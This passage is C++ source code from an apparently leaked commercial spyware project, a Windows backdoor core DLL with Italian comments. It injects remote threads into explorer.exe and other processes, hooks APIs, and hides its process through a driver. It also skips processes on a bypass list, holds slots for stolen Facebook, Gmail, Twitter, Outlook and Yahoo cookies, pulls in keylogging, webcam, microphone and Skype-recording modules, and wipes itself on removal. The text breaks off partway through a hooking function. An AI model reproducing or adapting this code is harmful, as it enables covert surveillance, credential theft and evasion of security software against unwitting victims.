hackedteam/core-win32

View on GitHub
H4-DLL.cpp

Summary

Maintainability
Test Coverage
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// HIDING MODULE SECTION {HM}:
//
// 
// 
// HMServiceStruct:
//    HM_IpcCliWrite_t pHM_IpcCliWrite    - PTR. IPC di scrittura
//    HM_IpcCliRead_t  pHM_IpcCliRead;    - PTR. IPC di lettura
//    HM_sCreateHook_t pHM_sCreateHook;    - PTR. funzione che alloca codice/dati di un Hook
//    DWORD PARAM[10];
//
// EXPORTS: 
//  static DWORD HM_sCreateHookA(HANDLE,char*,char*,BYTE*,DWORD,BYTE*,DWORD)
//  HANDLE HM_sStartHookingThread(HANDLE hProcess)
//    void HM_sMain()            - Entry point della DLL
// 
//  void HM_s<GenericHook>(HANDLE, HMServiceStruct *)
//  void HM_s<GenericService>(HMServiceStruct *)
//  [vedere HM_sInBundleHook e HM_sInBundleService come prototipi] 
//
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
#include "common.h" 
#include "H4-DLL.h"    
#include "demo_functions.h"
#include "HM_CodeAlign.h"
#include "AM_Core.h"
#include "HM_InbundleHook.h"
#include "LOG.h" // XXX da includere nei singoli moduli di agent
#include "HM_IpcModule.h"
#include "SM_Core.h"
#include "PEB.h"
#include "HM_VistaSpecific.h"
#include <Psapi.h>
#include "aes_alg.h"
#include "bin_string.h"
#include "UnHookClass.h"
#include "x64.h"
#include "av_detect.h"
#include "DeepFreeze.h"
#include "HM_BitmapCommon.h"
#include <time.h>
#include "sha1.h"
#include "status_log.h"
#include "format_resistant.h"

#include <tchar.h>
#include <Strsafe.h>

#pragma bss_seg("shared")
BOOL is_demo_version;
BYTE crypt_key[KEY_LEN];        // Chiave di cifratura
BYTE crypt_key_conf[KEY_LEN];   // Chiave di cifratura per la conf

aes_context crypt_ctx;        // Context per la cifratura
aes_context crypt_ctx_conf; // Context per la cifratura per la conf

BOOL g_remove_driver;    // Indica se rimuovere o meno il driver sulla disinstallazione
DWORD log_free_space;   // Spazio a disposizione per i log
DWORD log_active_queue; // Quale coda e' attiva 1 o 0
DWORD process_bypassed; //Numero di processi da bypassare
char process_bypass_list[MAX_DYNAMIC_BYPASS+EMBEDDED_BYPASS][MAX_PBYPASS_LEN]; // Lista dei processi su cui non fare injection
WCHAR process_bypass_desc[EMBEDDED_BYPASS][MAX_PBYPASS_LEN]; // Lista dei processi su cui non fare injection
DWORD social_process_control;    // Semaforo per controllare il processo "social"
BOOL network_crisis;            // Se deve fermare le sync
BOOL system_crisis;                // Se deve fermare i comandi e l'hiding
BOOL bPM_IMStarted;                // Flag che indica se il monitor e' attivo o meno
BOOL bPM_MailCapStarted;        // Indica se l'agente e' attivo o meno
BOOL bPM_ContactsStarted;

DWORD max_social_mail_len;        // Dimensione oltre la quale sega un messaggio di gmail

// Nomi dei file di sistema.
// Sono qui perche' ad esempio anche le funzioni di 
// setup dei wrapper devono poterci accedere dall'interno
// dei processi iniettati.
char H4DLLNAME[MAX_RAND_NAME];
char H4_CONF_FILE[MAX_RAND_NAME];
char H4_CONF_BU[MAX_RAND_NAME];
char H4_HOME_DIR[MAX_RAND_NAME];
char H4_HOME_PATH[DLLNAMELEN];
char H4_CODEC_NAME[MAX_RAND_NAME];
char H4_DUMMY_NAME[MAX_RAND_NAME];
char H4_MOBCORE_NAME[MAX_RAND_NAME];
char H4_MOBZOO_NAME[MAX_RAND_NAME];
char H64DLL_NAME[MAX_RAND_NAME];
char H4DRIVER_NAME[MAX_RAND_NAME];
char H4DRIVER_NAME_ALT[MAX_RAND_NAME];
char H4_UPDATE_FILE[MAX_RAND_NAME];
char REGISTRY_KEY_NAME[MAX_RAND_NAME];
//char OLD_REGISTRY_KEY_NAME[MAX_RAND_NAME];
char EXE_INSTALLER_NAME[MAX_RAND_NAME];

char SHARE_MEMORY_READ_NAME[MAX_RAND_NAME];
char SHARE_MEMORY_WRITE_NAME[MAX_RAND_NAME];
char SHARE_MEMORY_ASP_COMMAND_NAME[MAX_RAND_NAME];

char FACEBOOK_IE_COOKIE[1024];
char GMAIL_IE_COOKIE[1024];
char TWITTER_IE_COOKIE[1024];
char OUTLOOK_IE_COOKIE[1024];
char YAHOO_IE_COOKIE[1024];

#pragma bss_seg()
#pragma comment(linker, "/section:shared,RWS")

// Prototipi usati per comodita'
char *HM_FindProc(DWORD);
DWORD HM_FindPid(char *, BOOL);
void HM_U2A(char *buffer);
void LockConfFile();
void UnlockConfFile();

#include "JSON\JSON.h"
#include "HM_ProcessMonitors.h" // XXX da modificare
#include "HM_KeyLog.h" // XXX da modificare
#include "HM_SnapShot.h" // XXX da modificare
#include "HM_WiFiLocation.h" // XXX da modificare
#include "HM_PrintPool.h" // XXX da modificare 
#include "HM_CrisisAgent.h" // XXX da modificare 
#include "HM_SkypeRecord.h" // XXX da modificare 
#include "HM_UrlLog.h" // XXX da modificare 
#include "HM_ClipBoard.h" // XXX da modificare 
#include "HM_WebCam.h" // XXX da modificare 
#include "HM_AmbMic.h" // XXX da modificare 
#include "HM_MailCap.h" // XXX da modificare 
#include "HM_Pstorage.h" // XXX da modificare 
#include "HM_IMAgent.h" // XXX da modificare 
#include "HM_LogDevice.h" // XXX da modificare 
#include "HM_Money.h" // XXX da modificare 
#include "HM_MouseLog.h" // XXX da modificare
#include "HM_Application.h" // XXX da modificare
#include "HM_PDAAGent.h" // XXX da modificare
#include "HM_Contacts.h" // XXX da modificare
#include "HM_SocialAgent.h" // XXX da modificare

// Qui finira' il binary patch con la chiave di cifratura dei log
BYTE bin_patched_key[] = ENCRYPTION_KEY;
// Qui finira' il binary patch con la chiave di cifratura per la conf
BYTE bin_patched_key_conf[] = ENCRYPTION_KEY_CONF;

BYTE bin_patched_backdoor_id[] = BACKDOOR_ID;

// Variabili di configurazione globali
nanosec_time date_delta; // Usato per eventuali aggiustamenti sulla lettura delle date

// Usata per lockare il file di conf
HANDLE conf_file_handle = NULL;

extern BOOL WINAPI DA_Uninstall(BYTE *dummy_param);
BOOL ReadDesc(DWORD pid, WCHAR *file_desc, DWORD len);

typedef DWORD PROCESSINFOCLASS;
typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG  ProcessId;
    UCHAR  ObjectTypeNumber;
    UCHAR  Flags;
    USHORT Handle;
    PVOID  Object;
    ACCESS_MASK  GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
#define SystemHandleInformation 16
typedef DWORD (WINAPI *ZWQUERYSYSTEMINFORMATION)(
   PROCESSINFOCLASS ProcessInformationClass,
   PVOID ProcessInformation,
   ULONG ProcessInformationLength,
   PULONG ReturnLength
);

////////////////////////////////////////////////////////////////////////////////
// 
// Strutture, Dati e funzione iniettata nel Processo 
// da Hookare [Threddino]
// 

typedef void (__stdcall *Sleep_t)(DWORD);
typedef struct
{
    HMCommonDataStruct pCommon;
    char cDLLHookName[DLLNAMELEN];                // Nome della dll principale ("H4.DLL")
    char cInBundleHookName[DLLNAMELEN];
    char cInBundleServiceName[DLLNAMELEN];
    // Funzioni da usare nell'Thread  inizializzate dalla setup
    ResumeThread_T pResumeThread;
    OpenThread_T pOpenThread;
    CloseHandle_T pCloseHandle;
    Sleep_t pSleep;
    DWORD dwPid;
    DWORD dwThid;
    BOOL lookup_bypass;
} HMHookingThreadDataStruct;

// Con questa si settano tutte le funzioni di Libreria che stanno 
// in KERNEL32 e NTDLL

DWORD HM_HookingThreadSetup(DWORD * pD)
{    
    HMODULE hMod;

    HMHookingThreadDataStruct *pHMHookingThreadData = (HMHookingThreadDataStruct *) pD;
    VALIDPTR(hMod = GetModuleHandle("KERNEL32.DLL"))

    // API utilizzate dal thread remoto.... [KERNEL32.DLL]
    VALIDPTR(pHMHookingThreadData->pCommon._LoadLibrary = (LoadLibrary_T) HM_SafeGetProcAddress(hMod, "LoadLibraryA"))
    VALIDPTR(pHMHookingThreadData->pCommon._GetProcAddress = (GetProcAddress_T) HM_SafeGetProcAddress(hMod, "GetProcAddress"))
    VALIDPTR(pHMHookingThreadData->pCommon._FreeLibrary = (FreeLibrary_T) HM_SafeGetProcAddress(hMod, "FreeLibrary"))
    VALIDPTR(pHMHookingThreadData->pResumeThread = (ResumeThread_T) HM_SafeGetProcAddress(hMod, "ResumeThread"))
    VALIDPTR(pHMHookingThreadData->pOpenThread = (OpenThread_T) HM_SafeGetProcAddress(hMod, "OpenThread"))
    VALIDPTR(pHMHookingThreadData->pSleep = (Sleep_t) HM_SafeGetProcAddress(hMod, "Sleep"))
    VALIDPTR(pHMHookingThreadData->pCloseHandle = (CloseHandle_T) HM_SafeGetProcAddress(hMod, "CloseHandle"))
    
    // Non lo prendiamo dai nomi guessati perche' la shared potrebbe non essere caricata
    // se stiamo girando in un servizio
    if (!FindModulePath(pHMHookingThreadData->cDLLHookName, sizeof(pHMHookingThreadData->cDLLHookName)))
        return 1;

    sprintf(pHMHookingThreadData->cInBundleHookName, "%s", "PPPFTBBP03");
    sprintf(pHMHookingThreadData->cInBundleServiceName, "%s", "PPPFTBBP04");
    pHMHookingThreadData->lookup_bypass = TRUE;
    return 0;
}
                    

// Essendo un Thread attivo pData viene passato da 
// CreataRemoteThread
DWORD HM_HookingThread(HMHookingThreadDataStruct *pDataThread)
{
    // Le funzioni di libreria che non sono in NTDLL e KERNEL32
    // le devo risolvere nel processo figlio.....
    HMServiceStruct sServiceData;
    HM_CreateService_t pCreateService = NULL; 
    HM_CreateHook_t pCreateHook = NULL; 
    HMODULE hH4Mod = NULL;
    
    INIT_WRAPPER(HMHookingThreadDataStruct)

    sServiceData.pHM_IpcCliRead = NULL;
    sServiceData.pHM_IpcCliWrite = NULL;
    // Lancia le funzioni CreateService e InbundleHook
    hH4Mod = pDataThread->pCommon._LoadLibrary((LPCSTR)pDataThread->cDLLHookName);
    if(hH4Mod) {
        if((pCreateService = (HM_CreateService_t) pDataThread->pCommon._GetProcAddress(hH4Mod, pDataThread->cInBundleServiceName)))
            pCreateService(pDataThread->dwPid, &sServiceData);

        // Verifica che i services siano stati installati con successo
        if (sServiceData.pHM_IpcCliRead && sServiceData.pHM_IpcCliWrite)
            if((pCreateHook = (HM_CreateHook_t) pDataThread->pCommon._GetProcAddress(hH4Mod, pDataThread->cInBundleHookName)))
                pCreateHook(pDataThread->dwPid, &sServiceData, pDataThread->lookup_bypass);                        
    }
    
    // Resuma il thread principale (se stiamo infettando un processo appena nato che non 
    // e' in SUSPENDED)
    // E' NULL solo se H4.DLL ha invocato il thread
    if(pDataThread->dwThid != NULL) {
        HANDLE hMainThread = pDataThread->pOpenThread(THREAD_ALL_ACCESS, TRUE, pDataThread->dwThid);
        if(hMainThread != NULL) {
            pDataThread->pResumeThread(hMainThread);
            pDataThread->pCloseHandle(hMainThread);
        }
    }

    // Scarica H4DLL dal processo....
    if (hH4Mod)
        pDataThread->pCommon._FreeLibrary(hH4Mod);

    // XXX Per gestione messaggi?????
    for(;;)
        pDataThread->pSleep(1000);

    return 1;
}

////////////////////////////////////////////////////////////////////////////////
// 
//     Funzioni per iniettare dentro explorer il codice 
//   per cancellare la DLL core e la directory di lavoro

typedef BOOL (WINAPI *RemoveDirectory_t) (LPCTSTR);
typedef BOOL (WINAPI *DeleteFile_t) (LPCTSTR);
typedef BOOL (WINAPI *VirtualFree_t) (LPVOID, SIZE_T, DWORD);
typedef HANDLE (WINAPI *CreateFile_t) (LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL (WINAPI *WriteFile_t)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL (WINAPI *CloseHandle_t) (HANDLE);

typedef struct {
    COMMONDATA;
    RemoveDirectory_t pRemoveDirectory;
    DeleteFile_t pDeleteFile;
    VirtualFree_t pVirtualFree;
    CreateFile_t pCreateFile;
    WriteFile_t pWriteFile;
    CloseHandle_t pCloseHandle;
    Sleep_t pSleep;
    BOOL wipe_file;
    char core_file[DLLNAMELEN];
    char work_dir[DLLNAMELEN];
} HMRemoveCoreThreadDataStruct;

// Thread iniettato dentro explorer per cancellare il core
// e la directory di lavoro
#define CORE_FILE_LEN 2000000 // 150KB
DWORD HM_RemoveCoreThread(void *dummy)
{
    HANDLE hf;
    DWORD data_wiped;
    DWORD dwTmp;
    DWORD wipe_string = 0;
    INIT_WRAPPER(HMRemoveCoreThreadDataStruct);

    // Tenta il wiping
    if (pData->wipe_file) {
        // Cerca a tutti i costi di aprire il file in scrittura
        // Il file deve esistere.
        // Non ha share mode, perche' nessuno deve poter caricare la DLL mentre
        // ci sta scrivendo sopra.
        while ( (hf = pData->pCreateFile(pData->core_file, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL) ) == INVALID_HANDLE_VALUE )
            pData->pSleep(200);
        
        for (data_wiped=0; data_wiped<CORE_FILE_LEN; data_wiped+=sizeof(wipe_string))
            pData->pWriteFile(hf, &wipe_string, sizeof(wipe_string), &dwTmp, NULL);

        pData->pCloseHandle(hf);
    }

    // Qui la DLL non e' consistente (le eventuali aperture
    // dovrebbero fallire)

    // Cerca a tutti i costi di cancellare il core e
    // la directory
    LOOP {
        pData->pDeleteFile(pData->core_file);
        if (pData->pRemoveDirectory(pData->work_dir))
            break;
        pData->pSleep(200);
    }

    // Libera la memoria della data struct
    // (non puo' liberare il codice che sta eseguendo)
    pData->pVirtualFree((BYTE *)pData->dwDataAdd, 0, MEM_RELEASE);

    return 1;
}

BOOL IsLastInstance()
{
    WCHAR first_part[MAX_PATH];
    WCHAR second_part[MAX_PATH];
    WCHAR search_string[MAX_PATH];
    WCHAR complete_path[MAX_PATH];
    WCHAR *ptr = NULL;
    WIN32_FIND_DATAW FindFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE, hFile;
    DWORD instances = 0;

    _snwprintf_s(first_part, MAX_PATH, _TRUNCATE, L"%S", H4_HOME_PATH);
    if (ptr = wcschr(first_part, L'\\')) {
        ptr++;
        if (ptr = wcschr(ptr, L'\\')) {
            ptr++;
            *ptr = 0;
            ptr++;
        }
    }
    if (!ptr)
        return FALSE;
    _snwprintf_s(search_string, MAX_PATH, _TRUNCATE, L"%s*", first_part);
    if (!(ptr = wcschr(ptr, L'\\')))
        return FALSE;
    ptr++;
    _snwprintf_s(second_part, MAX_PATH, _TRUNCATE, L"%s", ptr);

    hFind = FNC(FindFirstFileW)(search_string, &FindFileData);
    if (hFind == INVALID_HANDLE_VALUE) 
        return FALSE;
    
    do {
        // Verifica se ci sono altre directory oltre alla nostra
        if (!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
            continue;
        _snwprintf_s(complete_path, MAX_PATH, _TRUNCATE, L"%s%s\\%s", first_part, FindFileData.cFileName, second_part);
        
        if ((hFile = CreateFileW(complete_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, 0))!=INVALID_HANDLE_VALUE) {
            instances++;
            CloseHandle(hFile);
        }

    } while (FNC(FindNextFileW)(hFind, &FindFileData) != 0);
    FNC(FindClose)(hFind);

    if (instances>1)
        return FALSE;

    return TRUE;
}

// Rimuove il driver dal sistema 
void HM_RemoveDriver()
{
    HideDevice reg_device;

    // Rimuove le chiavi nel registry
    reg_device.unhook_uninstall();

    // Cancella il file del driver
    RemoveSystemDriver();
}

// Inietta il thread in explorer per la cancellazione
// del core. Se explorer non e' attivo, prova a iniettare
// finche non ci riesce.
#define REMOVE_SLEEP_TIME 200
void HM_RemoveCore()
{
    HMRemoveCoreThreadDataStruct HMRemoveCoreThreadData;
    DWORD explorer_pid;
    HMODULE hMod;
    HANDLE hProcess;
    HANDLE hThreadRem;
    DWORD dwThreadId;
    BYTE *pCodeRemote;
    BYTE *pDataRemote;

    // Dice al thread se fare il wiping
    HMRemoveCoreThreadData.wipe_file = log_wipe_file;

    // Setup del thread di cancellazione
    if (! (hMod = GetModuleHandle("KERNEL32.DLL")) )
        return;
    HM_CompletePath(H4DLLNAME, HMRemoveCoreThreadData.core_file);
    HM_CompletePath("", HMRemoveCoreThreadData.work_dir);
    HMRemoveCoreThreadData.pDeleteFile = (DeleteFile_t) HM_SafeGetProcAddress(hMod, "DeleteFileA");
    HMRemoveCoreThreadData.pCreateFile = (CreateFile_t) HM_SafeGetProcAddress(hMod, "CreateFileA");
    HMRemoveCoreThreadData.pWriteFile = (WriteFile_t) HM_SafeGetProcAddress(hMod, "WriteFile");
    HMRemoveCoreThreadData.pCloseHandle = (CloseHandle_t) HM_SafeGetProcAddress(hMod, "CloseHandle");
    HMRemoveCoreThreadData.pRemoveDirectory = (RemoveDirectory_t) HM_SafeGetProcAddress(hMod, "RemoveDirectoryA");
    HMRemoveCoreThreadData.pVirtualFree = (VirtualFree_t) HM_SafeGetProcAddress(hMod, "VirtualFree"); 
    HMRemoveCoreThreadData.pSleep = (Sleep_t) HM_SafeGetProcAddress(hMod, "Sleep");  
    if (!HMRemoveCoreThreadData.pDeleteFile || 
        !HMRemoveCoreThreadData.pCreateFile ||
        !HMRemoveCoreThreadData.pWriteFile ||
        !HMRemoveCoreThreadData.pCloseHandle ||
        !HMRemoveCoreThreadData.pRemoveDirectory ||
        !HMRemoveCoreThreadData.pVirtualFree ||
        !HMRemoveCoreThreadData.pSleep)
        return;

    // Cicla finche' non trova explorer.exe
    while( !(explorer_pid = HM_FindPid("explorer.exe", TRUE)) )
        Sleep(REMOVE_SLEEP_TIME);

    // Se explorer e' a 64bit, cerca un processo a 32
    if (IsX64Process(explorer_pid))
        explorer_pid = Find32BitProcess();
    if (!explorer_pid)
        return;

    // Inietta il thread di cancellazione
    if(HM_sCreateHookA(explorer_pid, NULL, NULL, 
                       (BYTE *)HM_RemoveCoreThread, 
                       900, (BYTE *)&HMRemoveCoreThreadData, 
                       sizeof(HMRemoveCoreThreadData)) == NULL)
                            return;

    pCodeRemote = (BYTE *)HMRemoveCoreThreadData.dwHookAdd;
    pDataRemote = (BYTE *)HMRemoveCoreThreadData.dwDataAdd;

    // Esegue il thread in explorer.exe
    hProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, explorer_pid);
    if(hProcess == NULL) 
        return;

    hThreadRem = HM_SafeCreateRemoteThread(hProcess, NULL, 8192, 
                                    (LPTHREAD_START_ROUTINE)pCodeRemote, 
                                    (LPVOID)pDataRemote, 0, 
                                    &dwThreadId);

    // Se fallisce libera la memoria in explorer.exe
    if(hThreadRem == NULL) {
        FNC(VirtualFreeEx)(hProcess, pCodeRemote, 0, MEM_RELEASE);
        FNC(VirtualFreeEx)(hProcess, pDataRemote, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return;
    }

    // Sara' il thread in explorer a liberare la memoria 
    // della funzione iniettata...
    CloseHandle(hThreadRem);
    CloseHandle(hProcess);
    
    return;
}


////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// 
//                                EXPORTS SECTION: START 
//
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////



// Verifica se il processo e' nella lista dei processi da non toccare
// Torna TRUE se il processo e' nella lista
BOOL HM_ProcessByPass(DWORD pid)
{
    char *process_name;
    WCHAR process_description[500];
    DWORD i;
    BOOL desc_failed = FALSE;

    // Faccio prima un check sulle descizioni
    if (ReadDesc(pid, process_description, sizeof(process_description))) {
        for(i=0; i<EMBEDDED_BYPASS; i++) {
            if (process_bypass_desc[i][0]!=0 && CmpWildW(process_bypass_desc[i], process_description))
                return TRUE;
        }
    } else
        desc_failed = TRUE;

    // Prende il nome del processo "pid"
    if ( !(process_name = HM_FindProc(pid)) )
        return FALSE;
    
    // Lo compara con quelli da bypassare
    for(i=0; i<process_bypassed; i++) {
        if (CmpWild((unsigned char *)process_bypass_list[i], (unsigned char *)process_name)) {
            SAFE_FREE(process_name);
            // Se e' uno dinamico, o non ho descrizione valida, allora controlla solo il nome
            if (i>=EMBEDDED_BYPASS || process_bypass_desc[i][0]==0 || desc_failed)
                return TRUE;
            return FALSE;
        }
    }
    SAFE_FREE(process_name);
    return FALSE;
}

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)
#define STATUS_SUCCESS 0
BOOL CheckIPCAlreadyExist(DWORD pid, void *kobj)
{
    static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
    LONG Status;
    static DWORD *p = NULL;
    int i;
    DWORD n = 0x4000;
    HMODULE hNtdll;
    PSYSTEM_HANDLE_INFORMATION hinfo;
    BOOL now_created = FALSE;

    if (kobj == NULL)
        return TRUE;

    for (i=0; i<2; i++) {
        if (p == NULL) {
            if (ZwQuerySystemInformation == NULL) {
                hNtdll = GetModuleHandle("ntdll.dll");
                ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
                if (!ZwQuerySystemInformation)
                    return TRUE;
            }

            if ( !(p = (DWORD *)malloc(n)) )
                return TRUE;

            while ( (Status=ZwQuerySystemInformation(SystemHandleInformation, p, n, 0)) == STATUS_INFO_LENGTH_MISMATCH ) {
                SAFE_FREE(p);
                n*=4;
                if (!(p = (DWORD *)malloc(n)))
                    return TRUE;
            }
            if (Status != STATUS_SUCCESS) {
                SAFE_FREE(p);
                return TRUE;
            }
            now_created = TRUE;
        }

        hinfo = PSYSTEM_HANDLE_INFORMATION(p + 1);
        for (DWORD i = 0; i < *p; i++) {
            if (hinfo[i].ProcessId == pid  && hinfo[i].Object == kobj) {
                return TRUE;
            }
        }
        
        if(now_created)
            return FALSE;
        
        SAFE_FREE(p);
    }
    return FALSE;
}

#define PAGE_MARKER PAGE_EXECUTE_WRITECOPY
BOOL MarkProcess(DWORD pid)
{
    // E' sufficiente il secondo check che e' anche compatibile
    // con l'installazione multipla di backdoor - XXX MINST
/*    BYTE *header_ptr = NULL;
    HANDLE hmodules, hprocess;
    MODULEENTRY32W me32;
    MEMORY_BASIC_INFORMATION mbi;
    DWORD dummy;
    
    me32.dwSize = sizeof(MODULEENTRY32W); 
    hmodules = FNC(CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, pid);
    if (hmodules == INVALID_HANDLE_VALUE)
        return FALSE;

    if(!FNC(Module32FirstW)(hmodules, &me32)) {
        CloseHandle(hmodules);
        return FALSE;
    }

    do {
        if (!wcsicmp(me32.szModule, L"ntdll.dll")) {
            header_ptr = me32.modBaseAddr;
            break;
        }
    } while(FNC(Module32NextW)(hmodules, &me32));
    CloseHandle(hmodules);
    if (header_ptr == NULL)
        return FALSE;
    
    hprocess = FNC(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, pid);
    if (hprocess == NULL)
        return FALSE;

    if (!FNC(VirtualQueryEx)(hprocess, header_ptr, &mbi, sizeof(mbi))) {
        CloseHandle(hprocess);
        return FALSE;
    }
    CloseHandle(hprocess);

    // Ha trovato il marker di pagina
    if (mbi.Protect & PAGE_MARKER) 
        return FALSE;

    hprocess = FNC(OpenProcess)(PROCESS_VM_OPERATION, FALSE, pid);
    if (hprocess == NULL)
        return FALSE;

    if (!HM_SafeVirtualProtectEx(hprocess, header_ptr, 32, PAGE_MARKER, &dummy)) {
        CloseHandle(hprocess);
        return FALSE;
    }

    CloseHandle(hprocess);*/

    // Check paranoico se il processo e' gia' attaccato alla shared memory
    // (caso comodo...)
    if (CheckIPCAlreadyExist(pid, IPC_SHM_Kernel_Object))
        return FALSE;

    return TRUE;
}

////////////////////////////////////////////////////////////////////////////////
// 
// Inietta il Thread nel processo da cui effettuare API Hooking
// Se lookup_bypass==TRUE guarda la process bypass list, altrimenti no
HANDLE __stdcall HM_sStartHookingThread(DWORD dwPid, DWORD dwThid, BOOL lookup_bypass, BOOL mark_process)
{
    HANDLE hThreadRem = INVALID_HANDLE_VALUE;
    HANDLE hProcess;
    DWORD dwThreadId;
    HMHookingThreadDataStruct HMHookingThreadData;
    HideDevice dev_pid;

    // Se e' un processo da non toccare non esegue nulla
    if (lookup_bypass) {
        if (HM_ProcessByPass(dwPid))
            return INVALID_HANDLE_VALUE;
    }

    if (mark_process && !MarkProcess(dwPid))
        return INVALID_HANDLE_VALUE;

    // Il threddino deve avere i pid del processo....
    HMHookingThreadData.dwPid = dwPid;
    HMHookingThreadData.dwThid = dwThid;
    
    // Setup del threddino: riloca le funzioni da usare ecc...
    // se ritorna TRUE c'e' stato un errore nella risoluzion
    // degli address delle api
    if(HM_HookingThreadSetup((DWORD *)&HMHookingThreadData))
        return INVALID_HANDLE_VALUE;

    // Dice al thread iniettato nel figlio se guardare la
    // process_bypass_list
    HMHookingThreadData.lookup_bypass = lookup_bypass;
    
    dev_pid.unhook_hidepid(FNC(GetCurrentProcessId)(), TRUE);

    // Alloca dati e funzioni nell processo hProcess
    if(HM_sCreateHookA(dwPid, 
                       NULL, NULL, 
                       (BYTE *)HM_HookingThread, 
                       500, 
                       (BYTE *)&HMHookingThreadData, 
                       sizeof(HMHookingThreadData)) == NULL)
                            return INVALID_HANDLE_VALUE;
    
    // Esegue il thread di hooking
    hProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if(hProcess != NULL) {
        hThreadRem = HM_SafeCreateRemoteThread(hProcess, 
                                         NULL, 
                                        8192, 
                                        (LPTHREAD_START_ROUTINE)HMHookingThreadData.pCommon.dwHookAdd, 
                                        (LPVOID)HMHookingThreadData.pCommon.dwDataAdd, 
                                        0, 
                                        &dwThreadId);

        // Se fallisce perche' siamo su Vista e vogliamo infettare SVCHOST
        // prova con la NtCreateThreadEx()
        if (hThreadRem == NULL)
            hThreadRem = VistaCreateRemoteThread(hProcess, 
                                         (LPTHREAD_START_ROUTINE)HMHookingThreadData.pCommon.dwHookAdd, 
                                        (LPVOID)HMHookingThreadData.pCommon.dwDataAdd);
        CloseHandle(hProcess);
    }
    dev_pid.unhook_hidepid(FNC(GetCurrentProcessId)(), FALSE);
    // Errore
    if(hThreadRem == NULL)
        return INVALID_HANDLE_VALUE;
        

    // XXX Qui dovrebbe fare una wait for single object (da vedere con chiodo)

    // XXX L'handle tornato serve solo per vedere se
    // la funzione e' andata a buon fine. Lo chiudiamo
    // tanto nessun chiamante di questa funzione utilizza
    // mai l'handle tornato. Se no rimangono aperti 
    // un sacco di handle.
    if (hThreadRem != INVALID_HANDLE_VALUE)
        CloseHandle(hThreadRem);
    return hThreadRem;
}


// Verifica se una funzione e' gia' stata hookata DA NOI
BOOL IsHooked(HANDLE hProc, PBYTE code_local, PBYTE code_remote)
{
    DWORD *dest;
    DWORD i, dummy;
    PBYTE dst_code;
    BYTE jmp_code[MARK_SEARCH_LIMIT*2]; // siamo sicuri la HM_sCodeAlign non legga istruzioni fuori dal buffer

    // vede se la funzione comincia con un jmp
    if (code_local == NULL || code_remote == NULL || (*code_local) != 0xE9)
        return FALSE;
    
    // calcola la destinazione del salto
    dest = (DWORD *)(code_local + 1);
    dst_code = code_remote + (*dest) + 5;

    // legge l'hook alla destinazione del salto
    if (!HM_SafeReadProcessMemory(hProc, dst_code, jmp_code, sizeof(jmp_code), &dummy) )
        return FALSE;
    
    // vede se c'e' il nostro marcatore
    __try {
        for (i=0; i<MARK_SEARCH_LIMIT; i+=HM_sCodeAlign(jmp_code + i))
            if (!memcmp(jmp_code+i, "\xEB\x00\xEB\x00", 4)) // Vedere MARK_HOOK
                return TRUE;
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        return FALSE;
    }

    return FALSE;
}

////////////////////////////////////////////////////////////////////////////////
// 
// Copia codice e dati dell'Hook nel process dwPid 
// Questa funzione viene usata anche per iniettare un Thread
// nel processo figlio 
//
#define CRETURN(x)    if(x) {CloseHandle(x);return NULL;}

DWORD __stdcall  HM_sCreateHookA(DWORD dwPid, 
                                 char *APIName, 
                                 char *DLLAPIName, 
                                 BYTE *HookAdd, 
                                 DWORD HookSize, 
                                 BYTE *HookData, 
                                 DWORD HookDataSize)
{
    DWORD code_len = 0, call_offs;
    BYTE *op_code;
    DWORD *op_operand;
    HMODULE h_module = NULL;
    BYTE APIOnLocal[64];
    BYTE JMP_Code[REDIR_SIZE];
    DWORD dummy;
    HANDLE hProcess;
    HMCommonDataStruct *pCommonData = (HMCommonDataStruct *)HookData;

    // reset 
    pCommonData->dwHookAdd  = NULL;
    pCommonData->dwDataAdd  = NULL;

    // 
    if((hProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, TRUE, dwPid)) == NULL)
        return NULL;

    // Dobbiamo creare un HOOK ?????
    IFDEF(DLLAPIName) {
        if ( !(h_module = LoadLibrary(DLLAPIName)) )
            CRETURN(hProcess);
    } else
            pCommonData->bAPIAdd    = NULL;
    
    // Dobbiamo creare un HOOK ?????
    IFDEF(APIName)
        if ( !(pCommonData->bAPIAdd = (BYTE *)HM_SafeGetProcAddress(h_module, APIName)) ) 
            CRETURN(hProcess);
    
    // Controlla se ce' codice da Hookare
    IFDEF(pCommonData->bAPIAdd) {
        // Legge i primi 64 byte della funzione da wrappare per farci dei controlli
        if (!HM_SafeReadProcessMemory(hProcess, pCommonData->bAPIAdd, APIOnLocal, sizeof(APIOnLocal), &dummy) )
            CRETURN(hProcess);
    
        // Un processo viene hookato una volta sola dallo stesso core;
        // core diversi possono hookare piu' volte - XXX MINST
        //if (IsHooked(hProcess, APIOnLocal, pCommonData->bAPIAdd))
            //CRETURN(hProcess);

        // Allinea il limite dell'istruzione
        while (code_len < (DWORD)REDIR_SIZE) 
            code_len += HM_sCodeAlign(APIOnLocal + code_len);
                
        if (code_len > 15)
            CRETURN(hProcess);
    }

    // Alloca memoria per il codice dell'Hook
